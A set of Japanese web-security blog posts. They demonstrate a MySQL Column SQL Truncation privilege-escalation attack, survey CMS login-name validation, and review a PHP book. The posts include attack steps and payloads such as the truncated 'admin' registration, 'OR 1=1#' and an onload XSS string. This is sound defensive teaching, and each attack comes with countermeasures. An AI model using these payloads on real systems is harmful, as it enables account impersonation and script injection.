mysql> INSERT INTO users VALUES(NULL, 'admin', SHA1('ax8z!hz6'), true);
Query OK, 1 row affected (0.00 sec)
これで準備が出来ましたので、以下攻撃者の視点で攻撃に用いるSQLの呼び出しを見ていきましょう。

攻撃者が会員登録を行う

次に、攻撃者がセルフサービスの会員登録機能を用いて、'admin   x' (空白は3個)というログイン名を登録します。以下に示すのはmysqlコマンドにより、アプリケーション内部のSQL呼び出しを再現するものです(攻撃者が操作するのはあくまでWebアプリケーションです)。
mysql> SET autocommit=0;            # オートコミットをOFFに
mysql> LOCK TABLES users WRITE;     # 簡単のためテーブルロックを用いて排他制御

mysql> SELECT * FROM users WHERE username='admin   x';  # 'admin   x'は既存ユーザか?
Empty set (0.00 sec)                                    # Empty すなわち既存ではない
                                                        # 以下、会員登録する
mysql> INSERT INTO users VALUES(NULL, 'admin   x', SHA1('123456'), false);
Query OK, 1 row affected, 1 warning (0.00 sec)      # 登録成功 警告は usernameの切り詰め

mysql> SELECT id, username, hex(username), super FROM users;
+----+----------+------------------+-------+
| id | username | hex(username)    | super |
+----+----------+------------------+-------+
|  1 | admin    | 61646D696E       |     1 |
|  2 | admin    | 61646D696E202020 |     0 |← 'admin   'が登録されている
+----+----------+------------------+-------+
2 rows in set (0.00 sec)

mysql> COMMIT;
mysql> UNLOCK TABLES;
以上のように、既存ユーザのチェック時点では 'admin   x'はテーブル上に存在しないため重複チェックをすりぬけますが、テーブルにINSERTした時点で 8文字に切り詰められるので、'admin   ' (adminの後に空白3個)が会員として登録されます。

攻撃者が admin でログインする

次に攻撃者は ID: admin / パスワード: 123456 でログインします。
mysql> SELECT * FROM users WHERE username='admin' and password=sha1('123456');
+----+----------+------------------------------------------+-------+
| id | username | password                                 | super |
+----+----------+------------------------------------------+-------+
|  2 | admin    | 7c4a8d09ca3762af61e59520943dc26494f8941b |     0 |
+----+----------+------------------------------------------+-------+
1 row in set (0.00 sec)
なんと、ログインできてしまいます。これができる理由は、MySQLは基本的に文字列末尾のスペースを比較時に無視するからです。
MySQL のすべての照合順序は、PADSPACE 型のものです。これは、MySQL 内のすべての CHAR、VARCHAR、および TEXT 値が、末尾のスペースに関係なく比較されることを意味します。
MySQL :: MySQL 5.6 リファレンスマニュアル :: 11.4.1 CHAR および VARCHAR 型より引用
しかし、この段階では、superフラグは 0 (false)になっています。

adminでログインした状態で権限を確認する

ログインした後は通常ログイン済みのログイン名をセッション変数に記憶しておく形でログイン状態を保持します。そして、権限が必要になる都度データベースに問い合わせると想定します。以下のSQL文を用います。
mysql> SELECT id, username, hex(username), super FROM users WHERE username='admin';
+----+----------+------------------+-------+
| id | username | hex(username)    | super |
+----+----------+------------------+-------+
|  1 | admin    | 61646D696E       |     1 | ← こちらの権限が使用される
|  2 | admin    | 61646D696E202020 |     0 |
+----+----------+------------------+-------+
2 rows in set (0.00 sec)
idとusernameは処理の上では必要ありませんが、説明のために追加しています。上記のように、adminに対する権限(super)は1と0が返りますが、最初にヒットした 1(true) が使われます。すなわち、攻撃者は管理者の権限を得ることに成功しました。

脆弱性の原因

脆弱性の原因は、元々ユニークであることを想定していたusername列に、同一とみなされる名前が登録されることにあります。その原因は、列の最大長を超える文字列をINSERTする際に、文字列が切り詰められ、インサート後の文字列がチェックの時とは別の文字列に変わることにあります。

Column SQL Truncationの対策

Column SQL Truncationの対策は、文字列の切り詰めが発生しないようにするか、文字列の切り詰めが発生しても列のユニーク性が保証される方法をとることで、具体的には以下の方法があります。
  • usernameの最大長をバリデーションにより確認し、列の最大長を超えていたら処理を中止する
  • MySQLの採用をやめ、切り詰めが発生しないPostgreSQL、Oracle、MS SQL Server等を使用する
  • MySQLのsql_modeをstrictモードにする(追記)
  • username列に一意制約を指定する
いずれか一つの方法で対策になりますが、できれば最大長のバリデーションと一意制約の両方の実施を推奨します。
(* 以下追記 *)
また、MySQLを使う場合でも、sql_modeにSTRICT_TRANS_TABLES等を指定する方法でも、列長を超えたINSERTをエラーにすることができます。MySQL5.6からこれがデフォルトになったとのことですが、私がテストに使用したUbuntu15.04ではMySQL5.6.24なのにstrictモードになっていなかったので、Linuxディストリビューションによる違いがあるかもしれません。
ネットを検索すると、このデフォルト設定変更によりMySQL5.6でアプリが動かなくなったという報告を見かけるので、strictな方が安全であることは間違いありませんが、設定変更にあたってはテストを入念した方が良いと思われます。
(* 追記終わり *)

まとめ

Column SQL Truncation脆弱性について説明しました。
前回のエントリで私は、「バリデーションの目的は、予期しない入力値によりデータベースの不整合その他の不具合を予防することにある」と書きました。そして、データベースの不整合を悪用してなりすましログインをする手法がColumn SQL Truncation攻撃であると言えます。

これを防ぐ方法の一つとして、バリデーションはデータベースの不整合の発生が起きにくくする効果があり、結果としてセキュリティ上も有効です。それと同じように、一意性が要求されるデータベースカラムに一意制約を指定することも、データベースの不整合を起きにくくする効果があり、結果としてセキュリティ上の効果もあります。

このように、バグの発生を防ぐためのプログラミング上の様々な施策には、一般的にセキュリティを高める効果があります。なんといっても脆弱性はバグの一種ですからね。だからと言って、「一意制約の指定はセキュリティ対策です」と言われると、違和感を持つ人が多いのではないでしょうか。私が「バリデーションはセキュリティ対策である」という言葉に違和感があるのも同じ理由です。

蛇足

私は拙著P347に以下のように書きました。
◆ 事例2:ユーザIDに一意制約をつけられないサイト
 筆者が脆弱性診断を担当したサイトで、特殊な操作により同一のユーザIDで複数のアカウントが作成できることが分かりました。サイト管理者に「テーブル定義でユーザIDの列に一意制約(UNIQUE)をつけた方がいいですよ」とアドバイスしましたが、ユーザの削除を論理削除(データベース上で削除フラグをつけて「消したことにする」こと)にしているので、一意制約はつけられないとのことでした。
 このようなサイトは他にもあると思われますが、アプリケーションのバグ(排他制御不備など)により、重複したユーザIDが登録される潜在的なリスクが残ります
 事例1のように同一ユーザIDで別のアカウントが作成できると、誤って別ユーザとしてログインする可能性があります。データベース上でユーザIDを保存する列には、データベースの一意制約をつけることが望ましいでしょう。それができない場合、アプリケーション側でユーザIDの重複を防ぐ必要がありますが、その際は排他制御などに細心の注意を払ってユーザIDが重複しないように実装する必要があります。
Column SQL Truncationは、まさにログイン名の重複を意図的に作り出すという、データベースの不整合の悪用によるなりすまし手法と言えます。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年6月9日火曜日

CMS四天王のバリデーション状況を調査したところ意外な結果になった

私がいまさら指摘するまでもなく、グローバル(日本以外の多く)では脆弱性対策としてバリデーションが極めて重視されています。一々参照や引用はしませんが、海外の多くの標準において、バリデーションが重要なセキュリティ施策として指摘されています。Webアプリケーションにおいてバリデーション(以下バリデーションとはアプリケーションの最初の段階で行われる入力値検証、いわゆるフォームバリデーションを指します)が重要であることは私も同意しますが、それが「セキュリティ対策」なのかという点に疑問を持ち、例えば以下のようなプレゼンをしたことがあります。
もう一つの疑問として、「バリデーションは重要なセキュリティ対策である」という考え方が、開発の現場でどのように受け入れられているのだろうかと考え、グローバルに広く使われているアプリケーションにおいて、バリデーションがどのように実装されているかを調査したいと思い立ちました。

そこで、表題のように、主要なCMS4種類(CMS四天王と称します)について、バリデーションの現状を調査しました。ちなみに、CMS四天王とは下記を指します。私の勝手な選択ですので異論は認めますが本稿では以下を四天王の定義とします。
  • WordPress (Ver 4.2.2にて調査)
  • Joomla (Ver 3.4.1 にて調査)
  • Drupal (Ver 7.3.7 にて調査)
  • MovableType (Ver 6.1.1 にて調査)
CMSを題材に選んだ理由は下記のとおりです。
  • もっとも広く使われているウェブアプリケーションの一つである。
  • セキュリティがそれなりに要求される(Drupalはホワイトハウスのサイトに利用されているし…)
  • 過去頻繁に狙われている実績があり、セキュリティ強化が求められている
これらCMSのログイン名について、ユーザ登録時とログイン時で、どのようにバリデーションされているかを調べました。ログイン名について調査した理由は以下の通りです。
  • ログイン機能はセキュリティ上重要な機能である
  • ログイン名は文字種や文字列長等の仕様が明確であるという期待
  • どのCMSにも必ず存在する
調べた内容を書いたところ長文になってしまいましたので、まず特徴的なトピックと、まとめ、結論を書いてから、個別の調査結果を記載するようにします。

ログインIDとして使用できる文字種、文字列長、文字エンコーディング

まずはログイン名の文字種・文字列長等の仕様ですが、意外に明確な定義が見当たらないので、以下はDBの仕様や、実際に動かしてみて調べた結果です。以下はドキュメントやソースコードではなく実際の動作を元に調査しているので、漏れなどがある可能性はあります。

ソフトウェア文字種文字列長
WordPress英数字、空白、- _ @ . 60
Joomla< > \ " ' % ; ( ) &以外の文字150
Drupal記号以外の文字。ただし - ' _ @ はOK60
MovableType< > 以外の文字(制御文字もOK)255

バリデーションでSQLインジェクション攻撃をブロックしないCMSが多い

ログインIDにおける典型的なSQLインジェクション攻撃として、'OR 1=1# をバリデーションがブロックするかどうかを確認しました。ログインIDとして許容される文字を見る限り、WordPress、Joomla、Drupalはブロックしそうですが、結果は下記の通りです。
  • WordPress: ブロックしない
  • Joomla: ブロックする
  • Drupal: ブロックしない
  • MovableType: ブロックしない
ということで、意外なことに、バリデーションでSQLインジェクション攻撃を止めるのはJoomlaのみという結果でした。

ログインIDにヌルバイトや改行が使えるCMSがある

テストをしていてもっともびっくりしたことの一つがこれです。JoomlaとMovableTypeはヌルバイトや改行など制御文字がログインIDとして使えてしまいます。
Joomlaの場合、ユーザが自ら登録する場合制御文字は使えず、管理者が登録する場合のみです。そして、ログイン処理では制御文字はフィルタリングされるので、「登録はできるがログインはできない」ユーザができてしまうことになります。これはまずいですね。
一方、MovalbeTypeは制御文字入りのログインIDが登録、ログインともできます。なんと、首尾一貫していますね。私はMovableTypeに惚れそうになりましたw

100万文字のログインIDを登録しようとしたらどうなるか

バリデーションでは長さのチェックが重要とされますが、敢えて100万文字のユーザIDを登録してみました。その結果、JoomlaとMovableTypeは登録が出来ました…といっても、データベースの制限があるので、実際に登録されたのはJoomlaの場合先頭150文字、MovableTypeの場合先頭255文字です。
これに関連して微妙なバグを発見しました。どのCMSもログインIDの重複を許していないのですが、長いログインIDを用いてログインIDの重複が起こる場合があります。以下、説明を簡単にするためにログインIDの列定義がvarchar(10)だとして説明します。

既に 1234567890 という10文字のログイン名が登録されているところに、12345678901 という11文字のログイン名を登録する場合で考えます。SELECT * FROM users WHERE name='12345678901'とい重複チェックが走りますが、これはヒットなしで終わります。次に、INSERT INTO users VALUES ('12345678901', ...) というSQL文で登録処理が走りますが、このSQL文は成功するものの、ログインIDの列が10文字までしか入らないので、登録される文字列は 1234567890 になります。結果、1234567890 というログイン名が二重に登録されます。
実際には、ログイン名の最大長がそれぞれ150文字、255文字と大きいため、現実に問題になるケースはほとんどないと予想します。

100万文字のログイン名でログインしてみる

次に100万文字のログイン名でのログイン処理です。いずれのCMSもログイン名は有限長で最大255文字ですが、実際にやってみると、ログイン名がそのままSQL文として流れていることがクエリログから確認できました。
ログイン時には、どのCMSもログイン名の長さチェックはやっていないことになります。

まとめ

主要なCMS(CMS四天王)がログインIDをどのようにバリデーションするかについて調べました。ログインIDは、典型的には8文字英数字などであり、厳格なバリデーションがしやすい印象がありますが、主要CMSは意外にも登録・ログインともにあまり厳格なバリデーションはしていないことがわかりました。

SQLインジェクション攻撃をバリデーションで弾いていない点については、私は問題だとは思いません。SQLインジェクション攻撃がバリデーションで止まるか否かは、入力値の仕様に依存するので、バリデーションに依存するのではなく、プレースホルダの使用等で根本的に解決することが重要です。今回はたまたまバリデーションでは防げないケースだったということです。

一方、以下の2点は重大な問題だと考えます。
  • Joomlaでは制御文字入りのログインIDが登録できるが、そのIDでログインはできない
  • JoomlaとMovableTypeでは長いログインIDにより、ログインIDの重複が起こり得る
アプリケーションが想定していない入力を受け付けたことにより、データベース等の不整合が起こったことになります。私、バリデーションの本来の目的は、このような不整合を防ぎ、潜在的なバグを減らすことにあると考えます。

ということで、私の結論は以下の通りです。
  • CMS四天王はバリデーションを厳格にしていない
  • その結果、微妙なバグが混入する原因になっている
  • アプリケーションにおいてバリデーションは重要でありサボらずに実装したい
  • バリデーションの目的は、予期しない入力値によりデータベースの不整合その他の不具合を予防することにある


以下は、調査結果のサマリですので、興味のある方はお読みください。

1. シングルクォート

ログインIDとしてシングルクォートを含む文字列を指定した場合の挙動を調べました。シングルクォートは御存知の通りSQLインジェクション脆弱性と関連の深い文字です。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
JoomlaSave failed with the following error: Please enter a valid username.…
Drupal登録可能
MovableType登録可能
ログイン時
WordPressバリデーションは通過するが当該ユーザがないのでログイン失敗(*1)
Joomlaシングルクォートを除去した後ログイン処理
Drupalログイン可能
MovableTypeログイン可能


ご覧のように、WordPressとJoomlaはシングルクォートをログイン名として認めていませんが、DrupalとMovableTypeは認めています。ログイン時については、Joomlaがシングルクォートを除去する(一種のサニタイズ)のに対して、Joomla以外のソフトウェアはシングルクォートをバリデーションでは弾いていません。
ただし、WordPressのログイン処理で生成されるSQL文は下記の通りで、記号が二重にエスケープされています。これは潜在的なバグではないかと想像します。
SELECT * FROM wp_users WHERE user_login = 'O\\\'Reilly'

2. タグ文字

< や > がログイン名に含まれる場合の挙動を調べました。どのCMSも < と > をログイン名として許していませんが、Joomlaのみはユーザ登録時にサニタイズによりタグを取り除くという処理が入っています。
ログイン時の処理は、WordPressとJoomlaはタグのサニタイズ、DrupalとMovableTypeはバリデーションは通過したあと該当ユーザなしという結果になります。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
Joomlaタグをサニタイズした後登録される(<s>xss</s> は xss として登録)
DrupalThe username contains an illegal character.
MovableTypeユーザー名には不正な文字が含まれています: < 
ログイン時
WordPressタグをサニタイズした後ログイン処理される(<s>xss</s> は xss としてログイン)
Joomla< > をサニタイズした後ログイン処理される(<s>xss</s> は sxss/s としてログイン)
Drupalバリデーションは通過し、ユーザが存在しないのでログインはできない
MovableTypeバリデーションは通過し、ユーザが存在しないのでログインはできない


3.バックスラッシュ

バックスラッシュはMySQL等のSQLインジェクションやJavaScriptが絡むXSSに関連します。また、evalインジェクション等にも関連します。
MovableTypeのみがログイン名としてバックスラッシュを認めています。
興味深いことに、ログイン時はいずれのCMSもバリデーションを通していて、脆弱性対処としてバリデーションをあてにしていない様子が伺えます。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
JoomlaSave failed with the following error: Please enter a valid username.
DrupalThe username contains an illegal character.
MovableType正常に登録される
ログイン時
WordPressバリデーションは通過するが当該ユーザがないのでログイン失敗(*1)
Joomlaバリデーションは通過するが当該ユーザがないのでログイン失敗
Drupalバリデーションは通過するが当該ユーザがないのでログイン失敗
MovableType正常にログインできる

4.長大な文字列

長大なログイン名を指定した場合にどうなるかを調べました。具体的には、1,048,577文字(1メガバイト+1文字)のログイン名を登録、あるいはログインしてみました。
結果、WordPressは「新規ユーザーを作成しました」と表示されるものの、実際には作成されません。JoomlaとMovableTypeは正常に登録され、100万文字を超える長大なSQL文が流れるので中々壮観ですが、ログイン名はカラムの最大長で切り詰められます。
ログイン時には、いずれもCMSもバリデーションを通過するため、やはり100万文字を超える長大なSQL文が流れ、このテストをしているとログファイルがすぐに膨れ上がりますw

ユーザ登録時
WordPress新規ユーザーを作成しました。(実際には作成されない)
Joomla登録されるが、150文字で切られる(MySQL側で切られる)
Drupalバリデーションの結果 Username cannot be longer than 60 characters
MovableType登録されるが、255文字で切られる(MySQL側で切られる)
ログイン時
WordPressバリデーションを通過し長大なSQL文が生成されるがログイン失敗
Joomlaバリデーションを通過し長大なSQL文が生成されるがログイン失敗
Drupalバリデーションを通過し長大なSQL文が生成されるがログイン失敗
MovableTypeバリデーションを通過し長大なSQL文が生成されるがログイン失敗

前述のように、JoomlaとMovableTypeでは、長大なログイン名が途中でカットされることから、同一のログイン名が多重に登録できてしまう問題があります。


5.不正な文字エンコーディング

UTF-8として不正な文字エンコーディングを含む文字列がどうなるかというテストです。具体的には、abc%E0 という文字列を用いました。登録時にバリデーションで弾いているのは、WordPressとMovableTypeで、これは正しい処理内容だと思います。
JoomlaとDrupalはバリデーションは通過してしまい、Joomlaは不正な文字(%E0)がMySQL側で除去され、DrupalはPDOの例外が発生します。JoomlaとDrupalは、ログイン時にもバリデーションで不正な文字エンコーディングを弾いていません。
ログイン時、MySQLの発行するSQL文を観察すると、%E0が a にサニタイズされています。これはなんだろうと思ったのですが、Latin-1の%E0は à という文字ですので、それをASCIIに変換して a になった、というところでしょうか。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
Joomlaバリデーションを通過するが、MySQL側で不正な文字が除去される
Drupalバリデーションは通過するがPDOの例外が発生する
MovableType不正な要求です。文字コードutf-8に含まれない文字データを送信しています。
ログイン時
WordPress%E0がaにサニタイズされた後ログイン処理
Joomlaバリデーションは通過するが当該ユーザがないのでログイン失敗
Drupalバリデーションは通過するが当該ユーザがないのでログイン失敗
MovableType不正な要求です。文字コードutf-8に含まれない文字データを送信しています。

6.ヌルバイト

ヌルバイト(%00)はヌルバイト攻撃という形で攻撃に悪用される場合があります。
Joomlaは管理画面からユーザ登録する場合はヌルバイトを含むログインIDを許容しています。一方、セルフサービスで登録する場合はヌルバイトが除去されます。この違いの理由はよくわかりません。MovableTypeは常にヌルバイトを含むログインIDを許容しているようでびっくりしました。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
Joomlaヌルバイトを含むユーザ名が登録される / ヌルバイトが除去される
Drupalバリデーションの結果 The username contains an illegal character.
MovableTypeヌルバイトを含むユーザ名が登録される
ログイン時
WordPressバリデーションは通過するが当該ユーザがないのでログイン失敗(*1)
Joomlaヌルバイトが除去されログイン処理は継続
Drupalバリデーションは通過するが当該ユーザがないのでログイン失敗
MovableType正常にログインできる

7.改行

改行(%0D, %0A)はメールヘッダインジェクションやHTTPヘッダインジェクションの攻撃に使われます。当然バリデーションできっぱり弾かれると思いきや、WordPressでの登録処理以外は、バリデーションで改行を弾いていません。下表にあるとおり、改行をサニタイズで取り除く例も多いのですが、MovableTypeは改行を含むログインIDの登録を許容し、改行入りのログインIDでログインもできてしまいます。

ユーザ登録時
WordPressエラー: このユーザー名は使用できない文字を含んでいるため、無効です…
Joomla改行を含むユーザ名が登録される / 改行が除去される
Drupal改行が除去されて登録
MovableType改行を含むユーザ名が登録される
ログイン時
WordPress改行が空白にサニタイズされた後ログイン処理
Joomla改行が除去されログイン処理は継続
Drupal改行が除去されログイン処理は継続
MovableType正常にログインできる

8.配列

通常ログインIDは name=admin 等の形でWebアプリに渡されますが、name[0]=alice&name[1]=bob 等の形にすると、文字列ではなく配列の形でアプリに渡されます。
注目は Joomla でして、セルフサービスのユーザ登録時とログイン処理において、配列形式でログイン名を渡すと、ログイン名が Array と指定されたことになります。


ユーザ登録時
WordPressエラー: ユーザー名を入力してください。
エラー: このユーザー名は使用できない文字を含んでいるため、無効です…
JoomlaSave failed with the following error: / Array というユーザ名
DrupalUsername field is required.
MovableTypeユーザー名は必須です。 
ログイン時
WordPressエラー: ユーザー名を入力してください。
JoomlaArrayというユーザ名でログイン処理
DrupalUsername field is required.
MovableTypeサインインできませんでした。


Drupalは 7.35まではバリデーションとして配列のチェックをしていませんでしたが、7.36以降でテキスト文字列を受け取る文脈では入力が配列でないことのチェックが入るようになりました(参照)。
Drupal7.35でユーザ名として配列を与えると以下の例外が発生します。これはDrupageddon脆弱性と関連します(参照)。

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'bob' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => alice [:name_1] => bob ) in user_login_authenticate_validate() (line 2154 of /var/www/drupal735/modules/user/user.module).

私は自分のブログ記事で以下のように書きました。
Drupalは必要最小限のバリデーションのみをしているように見えますが、クエリ文字列が(配列ではなくスカラの)文字列であることのチェックくらいはした方がよいと思います。これはアプリケーション要件として必要なチェックだと考えます。
Drupal 7.36での修正は、まさにこの修正であり、結果として私の忠告を聞いて下さり良い気分ですw

【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年5月18日月曜日

『最初に「読む」PHP』は全体的にとても良いが惜しい脆弱性がある

最初に「読む」PHP(クジラ飛行机)を読みました。本書にはセキュリティ用語(クロスサイトスクリプティング、SQLインジェクション等)はほとんど出てきませんが、脆弱性についてよく配慮された記述となっています。しかし、その細部の詰めが甘く、脆弱性が混入してしまいました。その内容を報告したいと思います。

クロスサイトスクリプティング

出力時にHTMLエスケープするという原則を比較的早い段階で説明しています。その説明が素晴らしいと思いました。
ユーザーから送信されたデータを、PHPを使ってそのまま画面に表示することは、レイアウトの崩れや セキュリティ上の危険につながります。必ず、HTMLに変換してから表示します。そこで、画面に「(^o^)<Hello」と表示するプログラムを作ってみましょう。
「HTMLに変換して」という表現がとてもいいですね。難しくいうと、Content-Typeをtext/plainからtext/htmlに変換するということですが、平たくいうと、(プレーンテキスト文字列を)HTMLに変換するということです。
そして、以下のサンプルプログラムが続きます。
<?php
$s = "(^o^)<hello";
echo $s;
?>
実行結果は以下の通りです。「<Hello」がタグとみなされて消えていますね。


このように、htmlspecialcharsというのは、文字列をHTMLに変換するものという説明は本質をついているように思います。そして、本書には「クロスサイトスクリプティング」という用語は出てきませんが、作成するアプリケーションにはクロスサイトスクリプティング脆弱性が入り込まないように配慮して説明されています。
ただし、残念ながら細かい詰めが甘いため、本書で紹介されているスクリプトにはクロスサイトスクリプティング脆弱性が含まれますが、それについては後述します。

SQLインジェクション

PHP入門書としては珍しくエスケープとプレースホルダ(プリペアードステートメント)の両方が説明されています。まずはエスケープですが、以下のように説明されています。
次に、データベースにデータを挿入します。exec()メソッドでSQLを実行するという点は同じなのですが、ここで1つ注意したいことがあります。それは、PHPでSQLを実行するときには、SQLは文字列で指定しなくてはならないという点です。
そのため、挿入する値の中に、SQLの意味を変えてしまうような値(例えば、文字列を表す引用符「'」や「"」)があると、開発者の意図に反したSQLになってしまうことがあります。
そこで、データベースに値を挿入する際には、$db->quote()メソッドを使って、あらかじめ、文字列に含まれる引用符「'」や「"」をエスケープしておきます。
「SQLインジェクション」という用語を用いずに、エスケープの必要性を説明しています。本来こうあるべきですよね。私はこの説明の方針に賛同します。エスケープのスクリプトは以下の通りです。
$item_id = intval($i["item_id"]);
$name    = $db->quote($i["name"]);
$price   = intval($i["price"]);
$result = $db->exec(
    "INSERT INTO items (item_id, name, price)".
    "VALUES($item_id, $name, $price)");
整数列はintval関数で整数に変換し、文字列型の列はPDOのquoteメソッドにより、エスケープした文字列をクォートしています。この書き方は間違える要素は少ないので、エスケープ手法を取る場合には良い方法だと思います。

※ 本来、quoteメソッドで整数リテラルも作成できるべきなのですが、PDOのquoteメソッドはできがよくない(参考)ので、文字列に限定して使うのは賢明です。

その後、プレースホルダ(プリペアードステートメント)を説明し、本番のスクリプトはプレースホルダで書いています。
ところが、人間はうっかりするのが得意な生き物です。うっかりすると、クォート処理を書き忘れる可能性があります。
そこで、SQLのひな型を先に書いておいて、そこに値を当てはめる方法でSQLを実行する「プリペアードステートメント」という機能が用意されています。プリペアードステートメントを使うと、ひな型をあらかじめコンパイルしておいて、そこに後から値を差し込むことができます。また、自動的に面倒なクォート処理を行ってくれるので、とても便利です。
微妙に説明がおかしい(動的プレースホルダと静的プレースホルダの説明が混ざっている)のが気になりますが、説明の方針としては良い感じです。その後、本書では一貫してプレースホルダによりSQLを呼び出しているので、本書内にSQLインジェクション脆弱性はないようです。

本書ではトランザクションの説明もある

以前ブログ記事「嵐のコンサートがあるとダブルブッキングしてしまうホテル予約システムを作ってみた」にて私は以下のように書きました。
PHP入門書ないし中級レベルの解説書では、通常トランザクション処理や排他制御の解説はありません。
ところが本書は、「最初に『読む』」といううたい文句の本であるにも関わらず、トランザクションの説明があります。素晴らしいですね。
トランザクション(transaction)とは、分けることのできない一連の情報処理の単位です。このサランザクションを理解するには、銀行の決済処理を考えると分かりやすいと思います。
例えばAさんがBさんんの口座へ50万円の振り込みを行うとします。このとき銀行システムが行うのは、次の2つの動作です。

(1)Aさんの口座から50万円減らす
(2)Bさんの口座を50万円増やす

このとき、もし、Aさんの口座から50万円を減らした時点で何かしらのトラブルが起きて、決済処理が止まってしまったとします。すると、Bさんの口座に振り込まれていないにも関わらず、Aさんの口座だけが減っているという、困った状況が発生してしまいます。
これを避けるためにトランザクションが存在します。つまり、一連の振り込み処理を最終的に完了してはじめて、実際にデータベースの値が変更されるという仕組みなのです。
上記の処理ではトランザクションに加えて行ロックなどによる排他制御も必要ですが、それは説明されていません。そこは残念ですが、入門書の範囲を超えるということなのでしょう。本書の読者は、本書をきっかけとしてトランザクションなど本格的なSQLの勉強に進むことを期待します。

本書の残念なところ

本書のSQLインジェクション対策は十分なようですが、クロスサイトスクリプティングについては抜けがあり、エスケープの詳細に問題があります。それは、属性値の扱いです。
本書では、素のHTMLでは属性値をダブルクォートで囲み、PHPスクリプトではシングルクォートで囲んでいます。属性値をシングルクォートで囲む場合、HTMLエスケープの際にシングルクォートをエスケープするためにhtmlspecialcharsでENT_QUOTESを指定する必要がありますが、それが抜けています。
下記は、P141のselect-color.phpというスクリプトの一部で、クエリ文字列colorにより背景色を選択するというものです。
// 色が送信されているか調べて背景色を決定する
$color = "#FFFFFF";          // デフォルトは白色
if (isset($_GET["color"])) { // 色が送信されているか?
  $color = htmlspecialchars($_GET["color"]);
}
echo "<html><body bgcolor='$color'>";        // HTMLのヘッダを表示
ご覧のように、属性値bgcolorをシングルクォートで囲っているにも関わらず、htmlspecicalcharsにENT_QUOTESが指定されていません。そのため、colorとして、下記の文字列を指定するとクロスサイトスクリプティング攻撃ができます。
'+onload%3d'alert(1)
この結果生成されるHTMLは下記の通りです。
<html><body bgcolor='' onload='alert(1)'>
表示は下記のようになり、JavaScriptが実行されます。


これを避けるには、以下のいずれか(両方でもよい)を実施する必要があります。
  • 属性値をダブルクォートで囲む
  • htmlspecialcharsの第2引数にENT_QUOTESを指定する

まとめ

『最初に「読む」PHP』の脆弱性対処の状況について説明しました。一言で言うと、以下の感想です。
  • セキュリティの専門用語を使わずに脆弱性対処を自然な形で説明するという全体方針はとてもよい
  • 属性値の扱いでクロスサイトスクリプティング脆弱性が入ってしまったのは痛恨の極みだ
入門書に対して細かいことを言うと思われるかもしれませんが、セキュリティは細かいことが重要なのです。本書は、全体としてはとても良くかけていて、セキュリティに関しても注意深く取り扱われています。それだけになおのこと、この記事で指摘した「漏れ」で脆弱性が入ってしまったことはとても残念に思いました。
一方、SQLインジェクションについては特に問題なく、こちらの記事で書いたように、以下の状況が継続しています。
PHPの入門書ではSQLインジェクション脆弱性がないことが当たり前になった
これは、PDOでプレースホルダを使うという、PHPのSQLインジェクション対策の決定版といえる書き方が普及したからと言え、とても好ましいと感じました。


【HASHコンサルティング広告】
HASHコンサルティング株式会社は、セキュリティエンジニアを募集しています。
興味のある方は、twitterfacebookのメッセージ、あるいは問い合わせページからお問い合わせください。


2015年5月11日月曜日

セキュアなWEBサイト運用のためのワークショップにて講演します

キヤノンITソリューションズ株式会社主催のセミナー「セキュアなWEBサイト運用のためのワークショップ~ハッカーが攻撃をあきらめるWEBサイトとは?~」にて講演します。

日時:2015年5月27日(水)13:30~17:00 受付は13:00より
場所:キヤノンマーケティングジャパン株式会社 大阪支店 18F(大阪市北区 地図
費用:無料(申し込みはこちら
講演タイトル:やぶられにくいWEBサイトの作り方  ~被害事例から学ぶ攻撃手法とその対策~

企業セミナーとしては長めの80分という枠をいただいていますので、具体的な攻撃手法をたっぷりお見せしたいと思います。「被害事例から学ぶ…」というタイトルですので、具体的な事例の手法(推測含む)の攻撃手法のデモをお見せします。

  • 情報通信研究機構(NICT)ウェブサイトに対する侵入事件(Joomlaの脆弱性)
  • メガネ通販サイトに対する侵入事件(Struts2の脆弱性によりサイト改ざん、入力内容窃取)
  • EC-CUBEカスタマイズ部分のSQLインジェクションによる個人情報窃取
  • パスワードリスト攻撃による不正ログイン
  • なりすまし犯行予告(CSRF攻撃)
  • 一行掲示板に対するワーム(XSS)
  • その他

また、XSSのデモなど見飽きた言う方も多いだろう一方で、「XSSの何が悪いのかわからない」という意見も目にするところですので、XSSを用いて、私手作りのJavaScriptワームを掲示板上で増殖させてみたいと思います。

それでは、よろしくお願いいたします。

2015年5月8日金曜日

「いちばんやさしいPHPの教本」のレビューを担当しました

柏岡 秀男さん、池田 友子さん共著の「いちばんやさしいPHPの教本 人気講師が教える実践Webプログラミング」のレビューを担当いたしました。
柏岡さんとは面識がありませんでしたが、メールにて依頼をいただき、お受けするかどうか迷ったので「ゲラを見せていただいたからお返事します」と答えたところ、さっそくに送付いただき、それを確認した上でお引き受けいたしました。

見せていただいた原稿は元々セキュリティにはしっかり配慮されて書かれていましたが、細かいところの指摘を何点かさせていただきました。例えばエラーメッセージの扱いなどですね。指摘には快く対応いただき、ありがとうございました。

目次は以下の通りです。
  1. PHPを学ぶ準備をしよう
  2. プログラムを作りながらPHPの基本を学ぼう
  3. データベースを作成しよう
  4. データベースと組み合わせたプログラムを作ろう
同書の特徴ですが、「いちばんやさしい」と表題にある通り、あまり機能を欲張らずにSQLによるCRUD(新規作成、読み出し、更新、削除)がひと通りできるくらいまでを丁寧に説明しています。題材としては料理レシピのデータベース(認証なし)を用いています。

同書を読んでいて面白いと思ったのは、コードの入力方法です。例えば以下は同書P82からの引用ですが…


まず一旦body要素を閉じていますね。そして、body要素の中身を次に入力していきます。以下は同書P83からの引用です。一旦form要素を入力してそれを閉じています。form要素の中身は次ページ以降で入力しています。


